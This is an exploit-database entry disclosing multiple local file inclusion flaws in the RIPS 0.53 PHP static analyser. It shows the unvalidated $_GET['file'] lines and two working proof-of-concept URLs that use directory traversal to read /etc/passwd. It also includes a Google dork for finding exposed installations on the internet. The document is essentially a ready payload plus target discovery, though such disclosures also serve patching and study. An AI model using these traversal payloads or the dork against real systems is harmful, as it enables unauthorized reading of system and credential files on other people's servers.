RIPS 0.53 - Multiple Local File Inclusions

Author: localh0t
type: webapps
platform: php
port: 
date_added: 2012-03-24 
date_updated: 2012-04-06 
verified: 1 
codes: OSVDB-80531;OSVDB-80530 
tags: 
aliases:  
screenshot_url: http://www.exploit-db.com/screenshots/idlt19000/screen-shot-2012-04-06-at-123953-pm.png 
application_url: http://www.exploit-db.comrips-0.53.zip

# RIPS <= 0.53 Multiple Local File Inclusion Vulnerabilities
# Google Dork: allintitle: "RIPS - A static source code analyser for
vulnerabilities in PHP scripts"
# Althout this script is not intended to be accesible from internet, there
are some websites that host it.
# Download: http://sourceforge.net/projects/rips-scanner/
# Date: 23/03/12
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# www.localh0t.com.ar


File: /windows/code.php
=======================

102: file $lines = file($file);
    96: $file = $_GET['file'];

PoC:
http://localhost/rips/windows/code.php?file=../../../../../../etc/passwd

File: /windows/function.php
===========================

    64: file $lines = file($file);
        58: $file = $_GET['file'];

PoC:
http://localhost/rips/windows/function.php?file=../../../../../../etc/passwd(will
read the first line of the file)